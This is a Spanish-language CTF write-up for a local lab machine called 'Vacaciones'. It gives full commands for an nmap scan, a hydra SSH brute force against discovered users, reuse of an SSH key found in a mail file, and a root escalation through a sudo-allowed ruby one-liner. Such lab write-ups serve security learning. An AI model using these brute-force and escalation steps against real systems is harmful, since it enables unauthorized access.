WriteUps Vacaciones

22 May 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

El primer paso consiste en iniciar la máquina. Esto se puede lograr ejecutando el siguiente comando, una vez que se haya descargado la máquina:

BASH
1
sudo bash auto_deploy.sh vacaciones.tar

Una vez iniciada la máquina, el script de despliegue me proporciona la dirección IP de la máquina, por lo que procedo a realizar un escaneo de puertos para identificar los servicios disponibles:

BASH
1
nmap 172.17.0.2

El resultado del escaneo de puertos fue:

BASH
1
2
3
4
5
6
7
8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 11:46 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)

Resultado clave: El escaneo de puertos reveló dos servicios importantes:

  • Puerto 22: Servicio SSH abierto.
  • Puerto 80: Servicio HTTP abierto.

Análisis de servicio#

El siguiente paso es explorar el servicio HTTP. Al visitar la página en el puerto 80, encontré una página en blanco, pero al inspeccionar el código fuente encontré el siguiente mensaje:

CodigoFuenteVacaciones.png

Este mensaje revela la existencia de dos posibles usuarios, juan y camilo, y sugiere buscar algún directorio relacionado con correos electrónicos, específicamente en la ruta /var/mail/.

Fuerza bruta#

Ya que el código fuente me proporciona dos posibles usuarios, procedí a realizar un ataque de fuerza bruta utilizando hydra. Para ello, creé un archivo llamado users.txt que contenía los usuarios juan y camilo.

BASH
1
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

Luego de un tiempo, logré encontrar la contraseña del usuario camilo. Con esta información, me conecté al sistema utilizando SSH:

BASH
1
ssh camilo@172.17.0.2

Acceso por SSH#

Con acceso al sistema como el usuario camilo, intenté elevar privilegios utilizando el comando sudo -l. Sin embargo, este usuario no tenía permisos para ejecutar sudo. También intenté listar otros usuarios del sistema con compgen -u, pero el comando no estaba disponible. Explorando el directorio /home, encontré los siguientes directorios: camilo, juan y pedro.

Recordé que el código fuente mencionaba que juan le había dejado un correo a camilo, así que revisé el directorio /var/mail y encontré un archivo de texto llamado correo.txt dentro del directorio camilo. Este archivo contenía la clave SSH para el usuario juan.

ClaveCamiloVacaciones.png

Escalada de privilegios#

Ahora conectado como el usuario juan, ejecuté el comando sudo -l para verificar posibles privilegios elevados. Encontré que el usuario juan podía ejecutar el comando /usr/bin/ruby sin necesidad de contraseña. Consulté GTFOBinsy encontré una forma de aprovechar este permiso para obtener acceso como root ejecutando el siguiente comando:

BASH
1
sudo ruby -e 'exec "/bin/sh"'

Con este comando, logré obtener acceso completo como root.

pwnedVacaciones.png

Aprendizaje#

La máquina Vacaciones permitió practicar técnicas de reconocimiento y explotación, incluyendo la fuerza bruta de credenciales SSH y la escalada de privilegios utilizando permisos específicos con el comando ruby. Este ejercicio subraya la importancia de configurar adecuadamente los permisos y los servicios para evitar brechas de seguridad.

Comandos#

  1. Despliegue de la máquina:
    BASH
    1
    sudo bash auto_deploy.sh vacaciones.tar
    
  2. Escaneo de puertos:
    BASH
    1
    nmap 172.17.0.2
    
  3. Acceso al servicio SSH:
    BASH
    1
    ssh camilo@172.17.0.2
    
  4. Exploración del directorio de correo:
    BASH
    1
    cd /var/mail/camilo
    
  5. Escalada de privilegios con ruby:
    BASH
    1
    sudo ruby -e 'exec "/bin/sh"'